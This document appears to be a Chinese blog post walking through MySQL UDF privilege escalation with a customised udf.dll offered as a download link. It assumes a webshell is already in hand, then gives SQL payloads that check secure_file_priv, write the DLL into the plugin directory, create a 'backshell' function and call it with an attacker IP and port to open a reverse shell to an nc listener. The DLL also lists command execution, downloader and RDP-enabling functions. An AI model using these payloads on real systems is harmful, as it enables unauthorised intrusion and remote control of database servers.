mysql udf反弹端口提权
- 本篇文章只是记录一下 udf.dll提权的另一种方法,不涉及udf.dll提权原理的详细讲解。
- 详细的原理讲解请移步博主的这篇文章:https://www.cnblogs.com/02SWD/p/15858250.html
- 本篇文章所使用的 udf.dll(该udf.dll只适用于32位的mysql数据库):~~~链接:https://pan.baidu.com/s/1N9eHd1uiXWox22etDNTmlg提取码:z5jc~~~
1. 复现
-
我们所使用的这个udf.dll是被定制过的,其中定义了以下函数。如下图:
-
部分函数说明:
- cmdshell:执行cmd
- downloader:下载者,到网上下载指定文件并保存到指定目录
- open3389:通用开3389终端服务,可指定端口(不改端口无需重启)
- backshell:反弹shell(本次文章主角)
- ProcessView:枚举系统进程
- KillProcess:终止指定进程
- regread:读注册表
- regwrite:写注册表
- shut:关机、注销、重启
- about:说明与帮助函数
-
1. 假设我们已经拿到了webshell,界面如下:
-
2. 接下来我们上传一下定制的udf.dll
-
3. 查看当前数据库的secure_file_priv参数
payload~~~show variables like "secure_file_priv"~~~
- 可以看到,该数据库的secure_file_priv参数没有设置任何值,说明可以导出
4. 我们将定制的udf.dll文件导出
看一下数据库的版本,查询一下导出的目录
payload~~~sqlselect version()show variables like "%plugin%"~~~
导出udf.dll~~~sqlselect load_file(\’C:/phpStudy/WWW/udf.dll\’) into dumpfile \’C:/phpStudy/MySQL/lib/plugin/udf.dll\’~~~
- 可以看到已经导出成功了
5. 创建函数
- payload~~~sqlCREATE FUNCTION backshell RETURNS STRING SONAME \’udf.dll\’;select name from mysql.func — 查看一下是否创建成功~~~
6. 调用函数,反弹shell
先nc监听一下
看一下攻击者的ip
调用函数~~~sqlselect backshell("192.168.1.103",50666);~~~
可以看到,反弹成功
参考文章:https://blog.csdn.net/qq_45290991/article/details/117536250